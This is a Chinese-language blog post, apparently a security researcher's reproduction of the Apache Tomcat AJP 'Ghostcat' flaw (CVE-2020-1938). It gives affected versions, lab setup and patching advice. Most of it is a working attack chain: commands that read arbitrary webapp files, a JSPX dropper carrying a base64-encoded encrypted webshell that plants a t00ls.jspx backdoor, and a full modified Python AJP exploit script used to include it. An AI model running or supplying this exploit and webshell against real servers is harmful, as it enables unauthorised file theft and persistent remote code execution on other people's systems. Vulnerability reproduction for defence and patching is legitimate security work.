CVE-2020-1938 Apache Tomcat AJP 漏洞复现

一、影响范围

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

二、前提条件

对于处在漏洞影响版本范围内的 Tomcat 而言,若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下,即存在被 Ghostcat 漏洞利用的风险。注意 Tomcat AJP Connector 默认配置下即为开启状态,且监听在 0.0.0.0:8009

三、漏洞原理

Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell

四、环境配置

1、windows下准备复现环境,安装Apache Tomcat

https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip

2、安装java1.8的jdk

3、压缩包安装的Tomcat是需要配置一下jre的环境变量的

JRE_HOME+你自己的jre路径

 

 

 

4、启动Tomcat,在bin目录下的startup.bat

 

 

 

5、浏览器访问Apache默认端口8080端口

 

 

 

五、漏洞利用

(1)、任意文件读取(这里可以读取webapps目录下的任何文件)

kali下载CNVD-2020-10487-Tomcat-Ajp-lfi.py

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

 

 

 进入目录,修改文件权限

 

 

 

运行CNDV-2020-10487-Tomcat-Ajp-lfi.py

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.3.72 -p 8009 -f WEB-INF/web.xml

 

 

 python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.3.72 -p 8009 -f index.jsp

 

 

 python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.3.72 -p 8009 -f test.txt

 

 

 

(2)、任意文件包含:(这个有点鸡肋,需要上传要包含的文件内容)

因为是在本地复现的环境,没有配置上传文件的地方,实际环境时可以利用文件上传漏洞,上传txt文件结合利用,这里就直接把文件传到根目录里面了

1、先上传需要包含的jsp文件代码,这里用的是冰蝎小马(test.txt)

 1 <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="2.0">
 2 <jsp:directive.page contentType="text/html" pageEncoding="utf-8"/>
 3 <jsp:directive.page import="java.io.*"/>
 4 <jsp:directive.page import="sun.misc.BASE64Decoder"/>
 5 <html><head><title>fuck</title></head>
 6 <body bgcolor="#ffffff">
 7 //mima:pass
 8 <jsp:scriptlet><![CDATA[
 9 String realPath = request.getRealPath(request.getRequestURI());
10 String dir=new File(realPath).getParent();
11 String strPath = dir+"/t00ls.jspx";
12 File strFile = new File(strPath);
13 boolean fileCreated = strFile.createNewFile();
14 Writer jspx = new BufferedWriter(new FileWriter(strFile));
15 String tmp ="PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgdmVyc2lvbj0iMS4yIj48anNwOmRpcmVjdGl2ZS5wYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIvPjxqc3A6ZGVjbGFyYXRpb24+IGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX08L2pzcDpkZWNsYXJhdGlvbj48anNwOnNjcmlwdGxldD5pZihyZXF1ZXN0LmdldFBhcmFtZXRlcigicGFzcyIpIT1udWxsKXtTdHJpbmcgaz0oIiIlMmJVVUlELnJhbmRvbVVVSUQoKSkucmVwbGFjZSgiLSIsIiIpLnN1YnN0cmluZygxNik7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7b3V0LnByaW50KGspO3JldHVybjt9Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpJTJiIiIpLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTs8L2pzcDpzY3JpcHRsZXQ+PC9qc3A6cm9vdD4="; 
16 String str = new String((new BASE64Decoder()).decodeBuffer(tmp));
17 String eStr = java.net.URLDecoder.decode(str);
18 jspx.write(eStr);
19 jspx.flush();
20 jspx.close();
21 out.println(strPath);
22 ]]></jsp:scriptlet>
23 </body>
24 </html>
25 </jsp:root>

 

 

2、测试可以直接访问test.txt

3、对poc稍作修改,将包含"/asdf"修改为"/asdf.jspx"

修改后的文件:

 
  1 #!/usr/bin/env python
  2 # CNVD-2020-10487 Tomcat-Ajp lfi
  3 # by ydhcui
  4 import struct
  5 
  6 
  7 # Some references:
  8 # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
  9 def pack_string(s):
 10     if s is None:
 11         return struct.pack(">h", -1)
 12     l = len(s)
 13     return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
 14 
 15 
 16 def unpack(stream, fmt):
 17     size = struct.calcsize(fmt)
 18     buf = stream.read(size)
 19     return struct.unpack(fmt, buf)
 20 
 21 
 22 def unpack_string(stream):
 23     size, = unpack(stream, ">h")
 24     if size == -1:  # null string
 25         return None
 26     res, = unpack(stream, "%ds" % size)
 27     stream.read(1)  # \0
 28     return res
 29 
 30 
 31 class NotFoundException(Exception):
 32     pass
 33 
 34 
 35 class AjpBodyRequest(object):
 36     # server == web server, container == servlet
 37     SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
 38     MAX_REQUEST_LENGTH = 8186
 39 
 40     def __init__(self, data_stream, data_len, data_direction=None):
 41         self.data_stream = data_stream
 42         self.data_len = data_len
 43         self.data_direction = data_direction
 44 
 45     def serialize(self):
 46         data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
 47         if len(data) == 0:
 48             return struct.pack(">bbH", 0x12, 0x34, 0x00)
 49         else:
 50             res = struct.pack(">H", len(data))
 51             res += data
 52         if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
 53             header = struct.pack(">bbH", 0x12, 0x34, len(res))
 54         else:
 55             header = struct.pack(">bbH", 0x41, 0x42, len(res))
 56         return header + res
 57 
 58     def send_and_receive(self, socket, stream):
 59         while True:
 60             data = self.serialize()
 61             socket.send(data)
 62             r = AjpResponse.receive(stream)
 63             while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
 64                 r = AjpResponse.receive(stream)
 65 
 66             if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
 67                 break
 68 
 69 
 70 class AjpForwardRequest(object):
 71     _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
 72         28)
 73     REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE,
 74                        'TRACE': TRACE}
 75     # server == web server, container == servlet
 76     SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
 77     COMMON_HEADERS = ["SC_REQ_ACCEPT",
 78                       "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE",
 79                       "SC_REQ_AUTHORIZATION",
 80                       "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE",
 81                       "SC_REQ_COOKIE2",
 82                       "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
 83                       ]
 84     ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert",
 85                   "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
 86 
 87     def __init__(self, data_direction=None):
 88         self.prefix_code = 0x02
 89         self.method = None
 90         self.protocol = None
 91         self.req_uri = None
 92         self.remote_addr = None
 93         self.remote_host = None
 94         self.server_name = None
 95         self.server_port = None
 96         self.is_ssl = None
 97         self.num_headers = None
 98         self.request_headers = None
 99         self.attributes = None
100         self.data_direction = data_direction
101 
102     def pack_headers(self):
103         self.num_headers = len(self.request_headers)
104         res = ""
105         res = struct.pack(">h", self.num_headers)
106         for h_name in self.request_headers:
107             if h_name.startswith("SC_REQ"):
108                 code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
109                 res += struct.pack("BB", 0xA0, code)
110             else:
111                 res += pack_string(h_name)
112 
113             res += pack_string(self.request_headers[h_name])
114         return res
115 
116     def pack_attributes(self):
117         res = b""
118         for attr in self.attributes:
119             a_name = attr['name']
120             code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
121             res += struct.pack("b", code)
122             if a_name == "req_attribute":
123                 aa_name, a_value = attr['value']
124                 res += pack_string(aa_name)
125                 res += pack_string(a_value)
126             else:
127                 res += pack_string(attr['value'])
128         res += struct.pack("B", 0xFF)
129         return res
130 
131     def serialize(self):
132         res = ""
133         res = struct.pack("bb", self.prefix_code, self.method)
134         res += pack_string(self.protocol)
135         res += pack_string(self.req_uri)
136         res += pack_string(self.remote_addr)
137         res += pack_string(self.remote_host)
138         res += pack_string(self.server_name)
139         res += struct.pack(">h", self.server_port)
140         res += struct.pack("?", self.is_ssl)
141         res += self.pack_headers()
142         res += self.pack_attributes()
143         if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
144             header = struct.pack(">bbh", 0x12, 0x34, len(res))
145         else:
146             header = struct.pack(">bbh", 0x41, 0x42, len(res))
147         return header + res
148 
149     def parse(self, raw_packet):
150         stream = StringIO(raw_packet)
151         self.magic1, self.magic2, data_len = unpack(stream, "bbH")
152         self.prefix_code, self.method = unpack(stream, "bb")
153         self.protocol = unpack_string(stream)
154         self.req_uri = unpack_string(stream)
155         self.remote_addr = unpack_string(stream)
156         self.remote_host = unpack_string(stream)
157         self.server_name = unpack_string(stream)
158         self.server_port = unpack(stream, ">h")
159         self.is_ssl = unpack(stream, "?")
160         self.num_headers, = unpack(stream, ">H")
161         self.request_headers = {}
162         for i in range(self.num_headers):
163             code, = unpack(stream, ">H")
164             if code > 0xA000:
165                 h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
166             else:
167                 h_name = unpack(stream, "%ds" % code)
168                 stream.read(1)  # \0
169             h_value = unpack_string(stream)
170             self.request_headers[h_name] = h_value
171 
172     def send_and_receive(self, socket, stream, save_cookies=False):
173         res = []
174         i = socket.sendall(self.serialize())
175         if self.method == AjpForwardRequest.POST:
176             return res
177 
178         r = AjpResponse.receive(stream)
179         assert r.prefix_code == AjpResponse.SEND_HEADERS
180         res.append(r)
181         if save_cookies and 'Set-Cookie' in r.response_headers:
182             self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
183 
184         # read body chunks and end response packets
185         while True:
186             r = AjpResponse.receive(stream)
187             res.append(r)
188             if r.prefix_code == AjpResponse.END_RESPONSE:
189                 break
190             elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
191                 continue
192             else:
193                 raise NotImplementedError
194                 break
195 
196         return res
197 
198 
199 class AjpResponse(object):
200     _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
201     COMMON_SEND_HEADERS = [
202         "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
203         "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
204     ]
205 
206     def parse(self, stream):
207         # read headers
208         self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
209 
210         if self.prefix_code == AjpResponse.SEND_HEADERS:
211             self.parse_send_headers(stream)
212         elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
213             self.parse_send_body_chunk(stream)
214         elif self.prefix_code == AjpResponse.END_RESPONSE:
215             self.parse_end_response(stream)
216         elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
217             self.parse_get_body_chunk(stream)
218         else:
219             raise NotImplementedError
220 
221     def parse_send_headers(self, stream):
222         self.http_status_code, = unpack(stream, ">H")
223         self.http_status_msg = unpack_string(stream)
224         self.num_headers, = unpack(stream, ">H")
225         self.response_headers = {}
226         for i in range(self.num_headers):
227             code, = unpack(stream, ">H")
228             if code <= 0xA000:  # custom header
229                 h_name, = unpack(stream, "%ds" % code)
230                 stream.read(1)  # \0
231                 h_value = unpack_string(stream)
232             else:
233                 h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001]
234                 h_value = unpack_string(stream)
235             self.response_headers[h_name] = h_value
236 
237     def parse_send_body_chunk(self, stream):
238         self.data_length, = unpack(stream, ">H")
239         self.data = stream.read(self.data_length + 1)
240 
241     def parse_end_response(self, stream):
242         self.reuse, = unpack(stream, "b")
243 
244     def parse_get_body_chunk(self, stream):
245         rlen, = unpack(stream, ">H")
246         return rlen
247 
248     @staticmethod
249     def receive(stream):
250         r = AjpResponse()
251         r.parse(stream)
252         return r
253 
254 
255 import socket
256 
257 
258 def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
259     fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
260     fr.method = method
261     fr.protocol = "HTTP/1.1"
262     fr.req_uri = req_uri
263     fr.remote_addr = target_host
264     fr.remote_host = None
265     fr.server_name = target_host
266     fr.server_port = 80
267     fr.request_headers = {
268         'SC_REQ_ACCEPT': 'text/html',
269         'SC_REQ_CONNECTION': 'keep-alive',
270         'SC_REQ_CONTENT_LENGTH': '0',
271         'SC_REQ_HOST': target_host,
272         'SC_REQ_USER_AGENT': 'Mozilla',
273         'Accept-Encoding': 'gzip, deflate, sdch',
274         'Accept-Language': 'en-US,en;q=0.5',
275         'Upgrade-Insecure-Requests': '1',
276         'Cache-Control': 'max-age=0'
277     }
278     fr.is_ssl = False
279     fr.attributes = []
280     return fr
281 
282 
283 class Tomcat(object):
284     def __init__(self, target_host, target_port):
285         self.target_host = target_host
286         self.target_port = target_port
287 
288         self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
289         self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
290         self.socket.connect((target_host, target_port))
291         self.stream = self.socket.makefile("rb", bufsize=0)
292 
293     def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
294         self.req_uri = req_uri
295         self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
296                                                            method=AjpForwardRequest.REQUEST_METHODS.get(method))
297         print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
298         if user is not None and password is not None:
299             self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + (
300                         "%s:%s" % (user, password)).encode('base64').replace('\n', '')
301         for h in headers:
302             self.forward_request.request_headers[h] = headers[h]
303         for a in attributes:
304             self.forward_request.attributes.append(a)
305         responses = self.forward_request.send_and_receive(self.socket, self.stream)
306         if len(responses) == 0:
307             return None, None
308         snd_hdrs_res = responses[0]
309         data_res = responses[1:-1]
310         if len(data_res) == 0:
311             print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
312         return snd_hdrs_res, data_res
313 
314 
315 '''
316 javax.servlet.include.request_uri
317 javax.servlet.include.path_info
318 javax.servlet.include.servlet_path
319 '''
320 
321 import argparse
322 
323 parser = argparse.ArgumentParser()
324 parser.add_argument("target", type=str, help="Hostname or IP to attack")
325 parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
326 parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
327 args = parser.parse_args()
328 t = Tomcat(args.target, args.port)
329 _, data = t.perform_request('/asdf.jspx', attributes=[
330     {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
331     {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
332     {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
333 ])
334 print('----------------------------')
335 print("".join([d.data for d in data]))
CNVD-2020-10487-Tomcat-Ajp-lfi.py

 

4、运行:python CNVD-2020-10487-Tomcat-Ajp-lfi.py.py 192.168.3.72 -p 8009 -f test.txt

最终在webapps\ROOT下生成一个t00ls.jspx后门

 

 

 

 

六、修复建议

Tomcat 官方已发布 9.0.31、8.5.51 及 7.0.100 版本针对此漏洞进行修复。

1、临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />

2、配置ajp配置中的secretRequired跟secret属性来限制认证

3、官网更新最新版

posted @ 2020-09-27 20:42  RuChu_Sec  阅读(1059)  评论(0)    收藏  举报